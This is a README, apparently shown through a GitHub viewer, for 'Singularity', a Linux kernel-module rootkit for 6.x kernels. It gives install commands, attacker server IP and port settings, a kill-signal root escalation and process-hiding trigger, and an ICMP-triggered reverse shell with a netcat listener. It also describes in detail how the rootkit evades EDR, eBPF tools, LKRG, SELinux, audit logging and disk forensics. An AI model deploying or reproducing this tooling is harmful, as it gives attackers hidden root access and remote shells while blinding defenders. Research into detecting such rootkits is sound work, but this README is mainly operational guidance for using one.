| FazBrowse GitHub Viewer | Trending | | Home |
| Tools: [Download Repo ZIP] [Original HTTPS Page] |
| Name | Name | Last commit date | ||
|---|---|---|---|---|
"Shall we give forensics a little work?"
This project was inspired by a very special woman to me: Mocinha
Singularity is a powerful Linux Kernel Module (LKM) rootkit designed for modern 6.x kernels. It provides comprehensive stealth capabilities through advanced system call hooking via ftrace infrastructure.
Full Research Article (outdated version): Singularity: A Final Boss Linux Kernel Rootkit
EDR Evasion Case Study: Bypassing Elastic EDR with Singularity
POC Video: Singularity vs eBPF security tools: Singularity vs eBPF security tools
Breaking eBPF Security with Singularity hooks: Breaking eBPF
Singularity is a sophisticated rootkit that operates at the kernel level, providing:
cd /dev/shm
git clone https://github.com/MatheuZSecurity/Singularity
cd Singularity
sudo bash setup.sh
cd ..That's it. The module automatically:
The module automatically hides itself after loading
There is no unload feature - reboot required to remove
Test in a VM first - cannot be removed without restarting
Edit include/core.h:
#define YOUR_SRV_IP "192.168.1.100" // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } } // IPv6 if neededEdit modules/icmp.c:
#define SRV_PORT "8081" // Change this to your desired portEdit modules/bpf_hook.c:
#define HIDDEN_PORT 8081 // Must match SRV_PORTEdit modules/hiding_tcp.c:
#define PORT 8081 // Must match SRV_PORTImportant: All port definitions must match for proper network hiding and ICMP reverse shell functionality.
# Hide current shell
kill -59 $$
# Hide specific process
kill -59 <PID>Process will be invisible to ps, top, htop, /proc, and all monitoring tools. All child processes are automatically tracked and hidden.
Files matching your configured patterns are automatically hidden:
mkdir singularity
echo "secret" > singularity/data.txt
# Invisible to ls, find, locate
ls -la | grep singularity
# (no output)
# But you can still access it
cat singularity/data.txt
# secret
# cd is blocked for security
cd singularity
# bash: cd: singularity: No such file or directorySignal-based method:
kill -59 $$
id # uid=0(root)Connections on your configured port (default: 8081) are automatically hidden:
nc -lvnp 8081
# Invisible to all monitoring
ss -tulpn | grep 8081 # (no output)
netstat -tulpn | grep 8081 # (no output)
lsof -i :8081 # (no output)
cat /proc/net/nf_conntrack | grep 8081 # (no output)
# Even advanced netlink queries are filtered
ss -tapen | grep 8081 # (no output)
conntrack -L | grep 8081 # (no output)Packets are dropped at raw socket level (tpacket_rcv) and hidden from:
Trigger a hidden reverse shell remotely with automatic SELinux bypass:
1. Start listener:
nc -lvnp 8081 # Use your configured port2. Send ICMP trigger:
sudo python3 scripts/trigger.py <target_ip>3. Receive root shell (automatically hidden with all child processes, SELinux enforcing mode bypassed if active)
All attempts to disable ftrace are silently intercepted and blocked:
echo 0 > /proc/sys/kernel/ftrace_enabled # Appears successful but does nothingProtected syscalls: write, writev, pwrite64, pwritev, pwritev2, sendfile, sendfile64, splice, vmsplice, tee, copy_file_range, io_uring_enter (with intelligent per-PID caching)
The bpf_hook.c module implements a sophisticated anti-detection system against eBPF-based security tools. Rather than blocking BPF syscalls entirely (which would be a detection fingerprint), it selectively filters data at the kernel level to make hidden processes and connections invisible to eBPF programs.
Strategy: Intercept data collection and reporting functions used by eBPF programs, not the BPF syscall itself. This allows legitimate eBPF tools to run normally while preventing them from seeing hidden resources.
Protected resources:
Interception points:
This approach defeats eBPF security tools without triggering alerts that would come from blocking BPF operations entirely.
Protection against io_uring bypass in ftrace_enabled and tracing_on attempts with intelligent caching (1 second cache per PID to prevent repeated process scanning and reduce overhead)
Real-time filtering of sensitive strings from all kernel log interfaces:
| Interface | Hook | Status |
|---|---|---|
| dmesg | read hook on /proc/kmsg | Filtered |
| journalctl -k | write hook (output filtering) | Filtered |
| klogctl() / syslog() | do_syslog hook | Filtered |
| /sys/kernel/debug/tracing/* | read hook | Filtered |
| /var/log/kern.log, syslog, auth.log | read hook | Filtered |
| /proc/kallsyms, /proc/kcore, /proc/vmallocinfo | read hook | Filtered |
| /proc/net/nf_conntrack | read hook | Filtered |
Filtered keywords: taint, journal, singularity, Singularity, matheuz, zer0t, kallsyms_lookup_name, obliviate, hook, hooked_, constprop, clear_taint, ftrace_helper, fh_install, fh_remove
Note: Audit messages for hidden PIDs are dropped at netlink level with statistics tracking (get_blocked_audit_count, get_total_audit_count)
Singularity hooks the write syscall to detect and filter output from disk forensics tools:
How it works:
# Hidden files are invisible even to raw disk analysis
debugfs /dev/sda3 -R 'ls -l /home/user/singularity'
# (spaces where "singularity" was)
# The pattern is sanitized in the output buffer
# Checksums remain valid, no corruptionDetected patterns:
Complete hiding from syscalls and kernel interfaces:
Child processes automatically tracked via sched_process_fork tracepoint hook.
Singularity implements comprehensive evasion against Linux Kernel Runtime Guard:
Bypassed checks:
Features:
Hidden processes are invisible to all LKRG integrity verification mechanisms.
Singularity implements a comprehensive anti-EDR defense system that prevents eBPF-based security tools from detecting hidden processes and network connections. The protection works by intercepting kernel functions that eBPF programs use to collect and report data.
Protected against:
Multi-layer interception:
Iterator filtering (bpf_iter_run_prog)
Ringbuffer event blocking (bpf_ringbuf_output, bpf_ringbuf_reserve, bpf_ringbuf_submit)
BPF map manipulation (bpf_map_lookup_elem, bpf_map_update_elem)
Perf event suppression (perf_event_output, perf_trace_run_bpf_submit)
Seq file filtering (bpf_seq_write, bpf_seq_printf)
Program execution control (__bpf_prog_run)
Socket and connection hiding:
Process lineage tracking:
Hidden processes and connections generate zero events visible to eBPF security tools.
Process Monitoring: ps, top, htop, atop, pidof
Filesystem: ls, find, locate, stat, lstat, readlink, tree
Disk Forensics: debugfs, e2fsck (output filtered via write hook)
Memory Forensics: Volatility, crash, gdb (via /proc/kcore filtering)
Network: netstat, ss, lsof, tcpdump, wireshark, conntrack, nload, iftop, /proc/net/*
Logs & Traces: dmesg, journalctl, klogctl, strace, ltrace, ftrace, perf
Rootkit Detectors: unhide, chkrootkit, rkhunter, OSSEC
Module Detection: lsmod, modinfo, /sys/module, /proc/modules, kmod
Kernel Security: LKRG (Linux Kernel Runtime Guard)
eBPF Security Tools:
EDR/Monitoring: io_uring-based monitors, some Linux EDR solutions, auditd
| Syscall/Function | Module | Purpose |
|---|---|---|
| getdents, getdents64 | hiding_directory.c | Filter directory entries, hide PIDs |
| stat, lstat, newstat, newlstat, statx, newfstatat | hiding_stat.c | Hide file metadata, adjust nlink |
| getpriority | hiding_stat.c | Hide priority queries for hidden PIDs |
| openat | open.c | Block access to hidden /proc/[pid] |
| readlinkat | hiding_readlink.c | Block symlink resolution |
| chdir | hiding_chdir.c | Prevent cd into hidden dirs |
| read, pread64, readv, preadv | clear_taint_dmesg.c | Filter kernel logs, kcore, kallsyms, cgroup PIDs, nf_conntrack |
| do_syslog | clear_taint_dmesg.c | Filter klogctl()/syslog() kernel ring buffer |
| sched_debug_show | clear_taint_dmesg.c | Filter scheduler debug output |
| write, writev, pwrite64, pwritev, pwritev2 | hooks_write.c | Block ftrace control + filter disk forensics + filter journalctl output |
| sendfile, sendfile64, copy_file_range | hooks_write.c | Block file copies to protected files |
| splice, vmsplice, tee | hooks_write.c | Block pipe-based writes to protected files |
| io_uring_enter | hooks_write.c | Block async I/O bypass with PID caching |
| kill | become_root.c | Root trigger + hide processes |
| getsid, getpgid, getpgrp | become_root.c | Returns ESRCH for hidden PIDs |
| sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval | become_root.c | Returns ESRCH for hidden PIDs |
| sysinfo | become_root.c | Adjusts process count |
| pidfd_open | become_root.c | Returns ESRCH for hidden PIDs |
| tcp4_seq_show, tcp6_seq_show | hiding_tcp.c | Hide TCP connections from /proc/net |
| udp4_seq_show, udp6_seq_show | hiding_tcp.c | Hide UDP connections from /proc/net |
| tpacket_rcv | hiding_tcp.c | Drop packets at raw socket level |
| recvmsg, recvfrom | audit.c | Filter netlink SOCK_DIAG and NETFILTER messages |
| netlink_unicast | audit.c | Drop audit messages for hidden PIDs |
| audit_log_start | audit.c | Block audit log creation for hidden processes |
| bpf | bpf_hook.c | Filter eBPF operations for hidden PIDs |
| bpf_iter_run_prog | bpf_hook.c | Hide hidden processes from BPF iterators |
| bpf_seq_write, bpf_seq_printf | bpf_hook.c | Filter BPF seq file output |
| bpf_ringbuf_output, bpf_ringbuf_reserve, bpf_ringbuf_submit | bpf_hook.c | Filter Falco events via ringbuffer |
| bpf_map_lookup_elem, bpf_map_update_elem | bpf_hook.c | Filter BPF map operations |
| perf_event_output, perf_trace_run_bpf_submit | bpf_hook.c | Filter perf events for hidden processes |
| __bpf_prog_run | bpf_hook.c | Filter BPF program execution |
| icmp_rcv | icmp.c | ICMP-triggered reverse shell with SELinux bypass |
| taskstats_user_cmd | task.c | Block TaskStats queries for hidden PIDs |
| sched_process_fork (tracepoint) | trace.c | Track child processes |
| kprobe_ftrace_handler | lkrg_bypass.c | Bypass LKRG kprobe detection |
| p_cmp_creds, p_cmp_tasks | lkrg_bypass.c | Bypass LKRG credential checks |
| p_ed_pcfi_validate_sp, p_ed_enforce_pcfi | lkrg_bypass.c | Bypass LKRG CFI validation |
| p_check_integrity | lkrg_bypass.c | Bypass LKRG integrity checks |
| p_dump_task_f, ed_task_add | lkrg_bypass.c | Hide from LKRG task enumeration |
| p_call_usermodehelper_entry, p_call_usermodehelper_exec_entry | lkrg_bypass.c | Bypass LKRG UMH tracking |
| p_exploit_detection_init | lkrg_bypass.c | Bypass LKRG exploit detection |
| tainted_mask (kthread) | reset_tainted.c | Clear kernel taint flags |
| module_hide_current | hide_module.c | Remove from module lists and sysfs |
Multi-Architecture Support: x86_64 (__x64_sys_*) and ia32 (__ia32_sys_*, __ia32_compat_sys_*)
| Kernel Version | Distribution | Status | Notes |
|---|---|---|---|
| 6.8.0-79-generic | Ubuntu 22.04 / 24.04 | Stable | Primary development environment |
| 6.12.0-174.el10.x86_64 | CentOS Stream 10 | Stable | RHEL-based kernel |
| 6.12.48+deb13-amd64 | Debian 13 (Trixie) | Stable | Debian kernel |
| 6.17.8-300.fc43.x86_64 | Fedora 43 | Stable | SELinux enforcing bypass validated |
| 6.17.0-8-generic | Ubuntu 25.10 | Stable | Newer generic kernel, fully functional |
| 6.14.0-37-generic | Ubuntu 24.04 | Stable | LKRG and Falco bypass validated |
| 6.12.25-amd64 | Kali Linux | Stable | Kali 6.12.25-1kali1 |
Unfortunately for some...
Even with all these filters, protections, and hooks, there are still ways to detect this rootkit.
But if you're a good forensic analyst, DFIR professional, or malware researcher, I'll let you figure it out on your own.
I won't patch for this, because it will be much more OP ;)
Singularity was created by MatheuZSecurity (Matheus Alves)
Join Rootkit Researchers: Discord - https://discord.gg/66N5ZQppU7
Found a bug? Open an issue or contact me on Discord: kprobe
FOR EDUCATIONAL AND RESEARCH PURPOSES ONLY
Singularity was created as a research project to explore the limits of kernel-level stealth techniques. The goal is to answer one question: "How far can a rootkit hide if it manages to infiltrate and load into a system?"
This project exists to:
I am not responsible for any misuse of this software. If you choose to use Singularity for malicious purposes, that's on you. This tool is provided as-is for research, education, and authorized security testing only.
Test only on systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal in most jurisdictions.
Be a researcher, not a criminal.
| Back | FazBrowse Home | New Git URL |